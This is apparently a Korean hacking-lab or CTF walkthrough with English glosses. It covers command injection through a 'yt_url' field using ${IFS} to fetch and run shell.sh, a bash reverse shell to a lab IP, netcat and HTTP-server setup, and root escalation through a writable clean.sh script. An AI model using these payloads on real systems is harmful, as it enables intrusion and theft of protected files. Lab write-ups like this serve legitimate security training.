오늘도 즐거운 해킹 실습

yt_url= ---;wget${IFS}http://10.9.32.166:8090/shell.sh;: This command downloads a file named shell.sh from a server located at http://10.9.32.166:8090/. The yt_url variable seems irrelevant in this context.

위의 내용처럼 yt_url 오늘 실습에서는 해당 지점에 명령어를 넣을 수 있는 취약점이 있었다.

그 취약점을 이용하여 거의 어떠한 명령어든 실행이 가능했다. ls 혹은 id 혹은 중요한 파일 등을 읽는 것 등이 모두 가능했다.


yt_url=--version;chmod${IFS}755${IFS}/var/www/html/shell.sh;: This command changes the permissions of the file /var/www/html/shell.sh to 755, making it readable, writable, and executable by the owner, and readable and executable by the group and others. Again, yt_url appears to be irrelevant.

맨 위에 쓴 것처럼 파일을 보내 준 후, 해당 파일의 실행 권한을 풀어주었다


yt_url=---;bash${IFS}shell.sh;: This command executes the shell.sh script. Depending on where this command is run from, it might need a path to the script (e.g., ./var/www/html/shell.sh).

그리고 실행하였다.


bash -c 'bash -i >& /dev/tcp/10.10.238.237/1234 0>&1': This command opens an interactive Bash shell (bash -i) and redirects (>&) the shell's output to a TCP connection at 10.10.238.237 on port 1234. This is known as a reverse shell, where a remote machine connects back to the attacker's machine.

참고로 이 bash 파일은 위의 shell.sh에 담겨 있는 내용이다.


python -m SimpleHTTPServer 8090: This command starts a simple HTTP server at port 8090 using Python's built-in module SimpleHTTPServer (for Python 2). For Python 3, use python -m http.server 8090.

요로코롬 잡아주면 되고


nc -lvnp 1234: This command starts a listener using Netcat (nc) on port 1234 (-l for listen mode, -v for verbose, -n for numeric-only IP addresses, no DNS, and -p for local port). This listens for incoming connections, such as the reverse shell from the previous command.

nc -lvnp로 들어간다.

그러면 www-data 권한을 얻은 채로 시스템 내부로 진입할 수 있다.


echo ' cat /root/root.txt >root-oldum' >>clean.sh: This command appends (>>) a new command to the clean.sh script. The new command outputs the contents of /root/root.txt to a file named root-oldum. It seems to be a cleanup step or an operation to retrieve specific information from the target machine.

root 권한으로 상승한다.

그리고 원하는 중요 파일을 모두 읽는다

game complete